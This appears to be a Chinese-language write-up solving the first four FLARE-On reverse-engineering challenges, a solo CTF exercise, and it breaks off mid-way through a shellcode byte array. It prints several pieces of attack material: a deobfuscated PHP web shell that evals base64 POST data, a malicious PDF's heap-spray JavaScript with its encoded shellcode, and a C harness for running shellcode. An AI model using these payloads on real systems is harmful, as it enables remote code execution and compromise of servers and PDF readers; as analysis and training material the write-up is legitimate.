The FLARE On Challenge题解

第一题

这个题目是个 .Net 程序, 让根据这个程序找出一个邮箱地址, 然后给其发邮件, 它就会回复你下一个题目.

首先, 这个程序是个64位的自解压程序, 然后, 解压出来后是个 .Net 程序.

拖到 ILSpy 中看了看, 没有发现什么机关, 答案应该通过函数 btnDecode_Click 获取, 于是将函数 btnDecode_Click 扣出来, 打印中间变量, 第一步转换就是结果了, 其邮箱地址为:

[cce][email protected]
[/cce]

附源代码:

[cce]#!c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace flare_on_1
{
class Program
{
//private void btnDecode_Click(object sender, EventArgs e)
static void btnDecode_Click()
{
//this.pbRoge.Image = Resources.bob_roge;
//byte[] buffer = Resources.dat_secret;
byte[] buffer = {
0xA1, 0xB5, 0x44, 0x84, 0x14, 0xE4, 0xA1, 0xB5, 0xD4, 0x70, 0xB4, 0x91, 0xB4, 0x70, 0xD4, 0x91,
0xE4, 0xC4, 0x96, 0xF4, 0x54, 0x84, 0xB5, 0xC4, 0x40, 0x64, 0x74, 0x70, 0xA4, 0x64, 0x44
};

string str = “”;
for (int i = 0; i < buffer.Length; i++) { byte num2 = buffer[i]; str = str + ((char)(((num2 >> 4) | ((num2 << 4) & 240)) ^ 0x29)); } str = str + "\0"; Console.WriteLine(str); string str2 = ""; for (int j = 0; j < str.Length; j += 2) { str2 = str2 + str[j + 1] + str[j]; } string str3 = ""; for (int k = 0; k < str2.Length; k++) { char ch1 = str2[k]; str3 = str3 + ((char)(((byte)str2[k]) ^ 0x66)); } //this.lbl_title.Text = str3; } static void Main(string[] args) { btnDecode_Click(); } } } [/cce]


第二题

提示说站点被黑了, 在 home.html 源代码中看到这个:

[cce]
[/cce]

图片中的PHP代码:

[cce]#!php
“, “^”, “,”, “.”, “l”, “$”, “d”, “`”, “%”, “N”, “*”, “[“, “0”, “}”, “J”, “-“, “5”, “_”, “A”, “=”, “{“, “k”, “o”, “7”, “#”, “i”, “I”, “Y”, “(“, “j”, “/”, “?”, “K”, “c”, “B”, “t”, “R”, “4”, “8”, “e”, “|”);$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);$do_me=””;for($i=0;$i
[/cce]

$do_me 输出并格式化:

[cce]#!php
$_= \’aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\’;
$__=\’JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\’;
$___=”\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65″;
eval($___($__));
[/cce]

OK, 解析 $___$__:

[cce]#!php
$___ = “base64_decode”
$__ = “$code=base64_decode($_);eval($code);”
[/cce]

按照要求将变量 $_ 按照 BASE64 解码:

[cce]#!php
if(isset($_POST[“\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D”])) { eval(base64_decode($_POST[“\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D”])); }
[/cce]

字符串 \97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D为: a11DOTthatDOTjava5crapATflareDASHonDOTcom

替换大写字母:

[cce][email protected]
[/cce]

注意: 是 a11 (数字11) 而不是 all.


第三题

这个就是传说中的混淆/免杀/反逆向??? 这个程序在 IDA 中只能看到一个长长的赋值/重写程序的代码. 拖到OD中, 发现程序在运行时不断的解密/重写程序, 最终在内存中生成邮箱地址并弹窗.

[cce]#!bash
0012FD21 42 72 6F 6B 65 6E 42 79 74 65 00 E6 FE 12 00 61 BrokenByte.纩.a
0012FD31 61 61 61 61 61 6E 64 20 69 27 6D 20 73 70 65 6E aaaaand i’m spen
0012FD41 74 00 00 7C FE 12 00 6F 6D 67 20 69 73 20 69 74 t..|?.omg is it
0012FD51 20 61 6C 6D 6F 73 74 20 6F 76 65 72 3F 21 3F 29 almost over?!?)
0012FD61 FE 12 00 C6 FD 12 00 6E 6F 70 61 73 61 75 72 75 ?.讫.nopasauru
0012FD71 73 00 00 84 FD 12 00 9D 24 40 00 90 B2 23 E8 00 s..匌.?@.惒#?
0012FD81 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 …?$兤惯..凒

0012FD91 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 61 .t€6fFI媵?…a
0012FDA1 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E 73 68 nd so it beginsh
0012FDB1 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61 89 E3 us..hsaurhnopa夈
0012FDC1 E8 00 00 00 00 8B 34 24 83 C6 2D 89 F1 81 C1 8C ?…?$兤-夞伭

0012FDD1 01 00 00 89 D8 83 C0 0A 39 D8 75 05 89 E3 83 C3 ..壺兝.9豼夈兠
0012FDE1 04 39 CE 74 08 8A 13 30 16 43 46 EB EB E9 31 00 9蝨?0CF腚?.
0012FDF1 00 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 ..get ready to g
0012FE01 65 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D et nop’ed so dam
0012FE11 6E 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 n hard in the pa
0012FE21 69 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 int?…?$兤?

0012FE31 01 00 00 83 F9 00 7E 0E 81 36 62 4F 6C 47 83 C6 ..凒.~?bOlG兤
0012FE41 04 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 冮腠崁….崁..
0012FE51 00 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 ..悙悙hr?!?h ove
0012FE61 68 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 hmostht alhis ih
0012FE71 6F 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 omg 夈?…?$兤
0012FE81 2D 89 F1 81 C1 D6 00 00 00 89 D8 83 C0 18 39 D8 -夞伭?..壺兝9
0012FE91 75 05 89 E3 83 C3 04 39 CE 74 08 8A 13 30 16 43 u夈兠9蝨?0C
0012FEA1 46 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 F腚?…such.5h3
0012FEB1 31 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F [email protected]
0012FEC1 6E 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 n.comhnt..h speh
[/cce]

邮箱地址:

[cce][email protected]
[/cce]


第四题

APT攻击, 通过利用Adobe PDF Reader的JS函数漏洞构造堆喷射执行shellcode…

下面这段JS代码就是从这个PDF中提取出来的:

[cce]#!javascript
var HdPN = “”;
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = “”;
var IxTUQnOvHg = unescape(“%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff”);
var MPBPtdcBjTlpvyTYkSwgkrWhXL = “”;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;–EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape(“%ub32f%u3791”);
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape(“%ub32f%u3791”);
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS+ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length=0;–EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape(“%ub550%u0166”);
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf; Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT); QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length-bGtvKT); while(QCZabMzxQiD.length+bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD+QCZabMzxQiD+Juphd; FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array(); for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<125;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf; [/cce]

OK, 变量 IxTUQnOvHg 存储的就是 shellcode 了, 写了个python程序, 将该变量的值转换为16进制的shellcode, 然后再用C语言写了个程序, 调用这个shellcode, 然后可以用OD调试. 一步步跟踪指导调用MessageBoxA函数弹出窗口显示邮箱地址. 然而更简单的方法是直接分析 shellcode, 将shellcode拖到IDA中, 反汇编, 看汇编代码, 发现下面这个地方有这么多的 pushxor 指令, 肯定有猫腻, 之后用OD跟进去调试一下就好了…

[cce]#!bash
0048335E 8B1424 mov edx, dword ptr ss:[esp]
00483361 8172 0B 16A3FB3>xor dword ptr ds:[edx+0xB], 0x32FBA316
00483368 68 6F6D4500 push hello.00456D6F
0048336D 8172 17 AE45CF4>xor dword ptr ds:[edx+0x17], 0x48CF45AE
00483374 68 6F6E2E63 push 0x632E6E6F
00483379 8172 23 10369FD>xor dword ptr ds:[edx+0x23], 0xD29F3610
00483380 68 6172652D push 0x2D657261
00483385 8172 2F F7A9A90>xor dword ptr ds:[edx+0x2F], 0xCA9A9F7
0048338C 68 7340666C push 0x6C664073
00483391 8172 3B BE93A94>xor dword ptr ds:[edx+0x3B], 0x43A993BE
00483398 68 6C303174 push 0x7431306C
0048339D 8172 47 828A623>xor dword ptr ds:[edx+0x47], 0x3B628A82
004833A4 68 6D2E7370 push 0x70732E6D
004833A9 8172 53 D647C0C>xor dword ptr ds:[edx+0x53], 0xCCC047D6
004833B0 68 682E6433 push 0x33642E68
004833B5 8172 5F A3CA543>xor dword ptr ds:[edx+0x5F], 0x3154CAA3
004833BC 68 77613163 push 0x63316177
004833C1 8BCC mov ecx, esp
[/cce]

此时已经可以看到邮箱地址了, 然而也可以 邮箱地址是:

[cce][email protected]
[/cce]

随后的代码是调用 MessageBoxA 弹窗口的, 默认情况会将邮箱地址与 0x46454542 异或, 可以直接跳过, 这样弹窗就可以打印邮箱地址了:

[cce]#!bash
004833C3 57 push edi
004833C4 53 push ebx
004833C5 51 push ecx
004833C6 57 push edi
004833C7 8BF1 mov esi, ecx
004833C9 89F7 mov edi, esi
004833CB 83C7 1E add edi, 0x1E
004833CE 39FE cmp esi, edi
004833D0 7D 0B jge short hello.004833DD
004833D2 8136 42454546 xor dword ptr ds:[esi], 0x46454542
004833D8 83C6 04 add esi, 0x4
004833DB ^ EB F1 jmp short hello.004833CE
004833DD FFD0 call eax ; user32.MessageBoxA
[/cce]

附C语言代码:

[cce]#!c
#include

unsigned char shellcode[1024] = {
0xF9, 0x72, 0x49, 0x46, 0x25, 0x15, 0x0D, 0x7F, 0x3C, 0x3D, 0x84, 0xE0, 0x2A, 0xD6, 0x39, 0xE1,
0x4A, 0xA8, 0xB9, 0x76, 0x24, 0x98, 0x78, 0x73, 0x71, 0x7D, 0x7F, 0x75, 0x76, 0x20, 0xD4, 0x96,
0x91, 0xBA, 0x70, 0x19, 0xF9, 0xB8, 0x32, 0xE2, 0x7B, 0x46, 0xA8, 0x9B, 0x01, 0xFE, 0xC6, 0xC7,
0xC1, 0xE3, 0x24, 0x7E, 0x7C, 0x43, 0x80, 0xE1, 0x15, 0xB1, 0xB2, 0xB3, 0x66, 0x4F, 0xB6, 0x27,
0x3C, 0x9F, 0x4E, 0x7A, 0x2D, 0x41, 0xBF, 0xBB, 0x05, 0x77, 0x28, 0xF5, 0x93, 0x92, 0x90, 0x99,
0x98, 0xA9, 0x47, 0x0A, 0xEB, 0x14, 0x49, 0x3D, 0x4B, 0x48, 0x2F, 0x37, 0x8D, 0xB9, 0x78, 0x34,
0xB4, 0x0B, 0xD2, 0xD5, 0x31, 0xE0, 0x72, 0x35, 0x10, 0xD6, 0x40, 0x67, 0xBE, 0x2B, 0xFD, 0x4A,
0x1C, 0x04, 0x97, 0x3F, 0x3A, 0xFC, 0x79, 0x74, 0x1D, 0x42, 0xB5, 0xB7, 0x2C, 0x0C, 0x0D, 0x13,
0xF8, 0x25, 0xB0, 0x76, 0x79, 0x4E, 0xB1, 0x7B, 0x66, 0x0C, 0xBB, 0x2D, 0x1C, 0x91, 0x2F, 0xA9,
0x2C, 0xB8, 0xB0, 0x8D, 0x7E, 0x0D, 0x96, 0x3B, 0xD4, 0x49, 0x6B, 0xD5, 0xB7, 0x03, 0xF7, 0xE1,
0x7D, 0x46, 0xB9, 0x77, 0x42, 0x3D, 0x1D, 0x11, 0xE0, 0x67, 0x92, 0x4B, 0x85, 0xEB, 0x71, 0x24,
0x48, 0x9B, 0x02, 0xF9, 0x15, 0x4F, 0xBA, 0x04, 0x00, 0xE3, 0x27, 0x87, 0xD6, 0x9F, 0x70, 0x47,
0x7A, 0x18, 0xE2, 0x73, 0x1B, 0xFD, 0x74, 0x25, 0x7C, 0x43, 0x90, 0x41, 0xB6, 0x97, 0x99, 0x14,
0x3C, 0x78, 0x37, 0x83, 0xF8, 0xB3, 0x35, 0x72, 0x3F, 0x69, 0xF5, 0x98, 0xBE, 0x7F, 0x75, 0x4A,
0x93, 0xB4, 0xA8, 0xB5, 0xBF, 0x21, 0xD0, 0xFC, 0x40, 0x34, 0x7B, 0x05, 0xB2, 0xB2, 0x71, 0x7C,
0x4E, 0x81, 0xE1, 0x22, 0xEB, 0x04, 0x4A, 0x88, 0xE2, 0x2C, 0x2D, 0x49, 0x42, 0x8D, 0xB3, 0x75,
0x23, 0xF5, 0x7F, 0x72, 0x0B, 0xFC, 0x97, 0x01, 0xF7, 0xD3, 0xF9, 0x90, 0xBE, 0x41, 0x1C, 0xA8,
0x25, 0x7D, 0x35, 0xB1, 0x78, 0x79, 0x0A, 0xF8, 0x32, 0xFD, 0x9B, 0x76, 0x1D, 0x92, 0xB4, 0xBB,
0xB8, 0x77, 0x7E, 0x70, 0x73, 0x40, 0x7A, 0x0C, 0x89, 0xD6, 0x91, 0x24, 0x46, 0x14, 0xBA, 0x9F,
0x87, 0xC0, 0xD4, 0x0D, 0xB0, 0x4B, 0x2F, 0xB6, 0x81, 0xE3, 0x74, 0x05, 0xB9, 0x3F, 0x67, 0x1B,
0xD5, 0x93, 0x96, 0x83, 0xE0, 0x66, 0xB5, 0x47, 0xB7, 0x98, 0x3C, 0x15, 0x34, 0xA9, 0x48, 0x37,
0x27, 0x3D, 0x75, 0x4F, 0xBF, 0x8C, 0xE2, 0x43, 0x99, 0xB8, 0x73, 0x38, 0xEB, 0x7D, 0x7A, 0x25,
0x85, 0xF9, 0x8D, 0xBB, 0x91, 0x7F, 0x67, 0x96, 0x92, 0xB2, 0x79, 0x48, 0x3C, 0x4A, 0x33, 0xD4,
0xA9, 0x97, 0x7E, 0x37, 0x47, 0xB3, 0x3D, 0x93, 0x24, 0x05, 0x3F, 0x9F, 0x39, 0xE1, 0x71, 0x35,
0xB4, 0x23, 0xD6, 0xA8, 0x14, 0x88, 0xD1, 0xF8, 0x72, 0x42, 0xBA, 0x76, 0x08, 0xFD, 0x41, 0xBE,
0x4B, 0xB5, 0x0D, 0x15, 0x77, 0x43, 0x74, 0x11, 0xE3, 0x78, 0x20, 0xE0, 0x1C, 0x04, 0xBF, 0x40,
0x10, 0xD5, 0x27, 0xB7, 0xB1, 0x70, 0x2B, 0xF5, 0x2F, 0x22, 0xFC, 0x4E, 0x9B, 0x98, 0x1D, 0x90,
0x2C, 0xB6, 0x7C, 0x4F, 0x2D, 0x34, 0x66, 0x0C, 0x99, 0xB0, 0x49, 0x7B, 0x7A, 0x78, 0x7E, 0x7F,
0x73, 0x7D, 0x46, 0xB9, 0x91, 0xB0, 0x8D, 0x92, 0xBF, 0x90, 0xB7, 0x21, 0xF6, 0xE0, 0x4B, 0x13,
0xF5, 0x29, 0xEB, 0x67, 0x77, 0x25, 0x86, 0xE1, 0x05, 0x2A, 0xD6, 0x66, 0xB9, 0xA8, 0x35, 0x15,
0x96, 0x42, 0x98, 0x34, 0x99, 0xB1, 0xBA, 0xB4, 0x2C, 0xB5, 0x12, 0xF8, 0x93, 0x4F, 0x76, 0x7B,
0x79, 0x30, 0xFD, 0xBE, 0x71, 0x3F, 0x40, 0x4E, 0xB3, 0x7C, 0x75, 0x27, 0x09, 0xE2, 0x24, 0x43,
0x70, 0x0C, 0x2D, 0x18, 0xE3, 0x02, 0xF9, 0x4A, 0x47, 0xBB, 0xB6, 0x41, 0x9F, 0x72, 0x48, 0x97,
0x80, 0xD4, 0x28, 0xD5, 0x9B, 0x74, 0x3C, 0x1C, 0x84, 0xFC, 0x7D, 0x49, 0xB8, 0x7E, 0x6B, 0xD2,
0xE0, 0x1D, 0x76, 0x0D, 0x74, 0x31, 0xEB, 0x14, 0x70, 0x37, 0xA9, 0x71, 0x3D, 0x72, 0x46, 0xB2,
0x78, 0x2F, 0x7F, 0x04, 0xA9, 0xB6, 0x7B, 0x1C, 0x73, 0x3A, 0xE1, 0x3C, 0xBE, 0x19, 0xF9, 0x34,
0x00, 0xD5, 0x7A, 0x03, 0xF8, 0xE2, 0x24, 0xB0, 0x4E, 0xFD, 0x79, 0x3D, 0x96, 0x75, 0x15, 0x9B,
0x49, 0x7C, 0x2F, 0xB4, 0x4F, 0x9F, 0x99, 0x47, 0x3B, 0xC1, 0xD0, 0xE3, 0x14, 0x40, 0x3F, 0x90,
0xBF, 0x41, 0x97, 0x43, 0x8D, 0xB8, 0x48, 0xB5, 0x77, 0x0D, 0xB2, 0x4A, 0x93, 0x2D, 0x67, 0x92,
0x98, 0xB1, 0x1A, 0xFC, 0xB9, 0xD4, 0x2C, 0xB3, 0xF5, 0xBA, 0x0C, 0x69, 0xD6, 0x91, 0xA8, 0x04,
0xBB, 0x1D, 0x66, 0x46, 0x05, 0x25, 0xB7, 0x35, 0x42, 0x37, 0x27, 0x4B, 0x90, 0xFC, 0x33, 0xD2,
0xB2, 0x30, 0x64, 0xFF, 0x32, 0x5A, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x33,
0xC9, 0xB1, 0x18, 0x33, 0xFF, 0x33, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF,
0x0D, 0x03, 0xF8, 0xE2, 0xF0, 0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A, 0x10, 0x8B, 0x12,
0x75, 0xDA, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0xFF, 0x72, 0x34, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B,
0x72, 0x20, 0x03, 0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50,
0x75, 0xF4, 0x81, 0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64,
0x72, 0x65, 0x75, 0xE2, 0x49, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x8B, 0x72,
